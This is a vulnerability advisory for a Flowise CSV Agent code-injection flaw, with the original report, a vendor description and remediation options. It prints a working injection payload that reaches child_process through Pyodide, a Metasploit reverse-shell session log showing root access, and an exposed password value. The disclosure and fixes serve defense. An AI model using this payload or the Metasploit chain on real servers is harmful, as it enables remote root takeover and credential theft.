CVE-2026-69255: Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
1. Python code injection via base64string = "${base64String}" (CSVAgent.ts line 161) 2. Pyodide js bridge provides access to the host Node.js process 3. process.mainModule.constructor.load('childprocess') loads childprocess (bypasses ESM require restriction) 4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)
Working RCE Payload
";import js;e=js.globalThis.eval;e("process.mainModule.constructor.load('childprocess').execSync('id')");#
Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.
Metasploit Session Proof
msf > use exploit/multi/http/flowisecsvagentrce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reversetcp msf > exploit
[+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [] Sending stage (3090404 bytes) to 172.17.0.2 [] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)
meterpreter > getuid Server username: root
meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux
meterpreter > shell id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
uname -a Linux cbce3fb352b7 6.8.0-111-generic x8664 Linux
Additional Verified Impact
Credential Theft: FLOWISEPASSWORD=admin123 DATABASEPATH=/root/.flowise APIKEYPATH=...
Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7
Server DoS — certain native binding calls (spawnsync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
---
Original Report (below)
Vulnerable Code
File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.
Lines 155-171 — Direct interpolation into executable Python code: base64string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.
validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.
Remediation
Option 1 (Best): Use pyodide.globals.set('base64string', base64String) instead of string interpolation
Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]$/
Option 3: Escape special characters (", \n, \r, \\) before interpolation
Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape)
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.
Other sources
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64string = "${base64String}" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js childprocess, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowise-componentsto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade
Flowise 3.1.3to a version that resolves this vulnerability.Fixed in 3.1.3 - Configuration
In CSVAgent.ts, replace the Python code injection pattern `base64_string = "${base64String}"` (lines 155-171; template interpolation) with `pyodide.globals.set('base64_string', base64String)` so the value is not inserted into an executable Python string literal.
packages/components/nodes/agents/CSVAgent/CSVAgent.ts base64_string construction into Python code = Use pyodide.globals.set('base64_string', base64String) instead of interpolating attacker-controlled base64String into `base64_string = "${base64String}"` - Configuration
Before using base64String in the Python/pyodide path, validate it matches `/^[A-Za-z0-9+/=]*$/` and reject otherwise to prevent closing-quote + Python injection via the `base64_string = "${base64String}"` flow (lines 155-171).
packages/components/nodes/agents/CSVAgent/CSVAgent.ts base64String validation = Reject if base64String does not match `/^[A-Za-z0-9+/=]*$/` - Compensating control
Apply compensating isolation/containment for Flowise such that the CSV Agent execution environment cannot reach the Node.js host process or container root shell (e.g., restrict execution/egress and limit privileges), since the verified chain achieves arbitrary OS command execution as root via the Pyodide `js` bridge to `child_process`.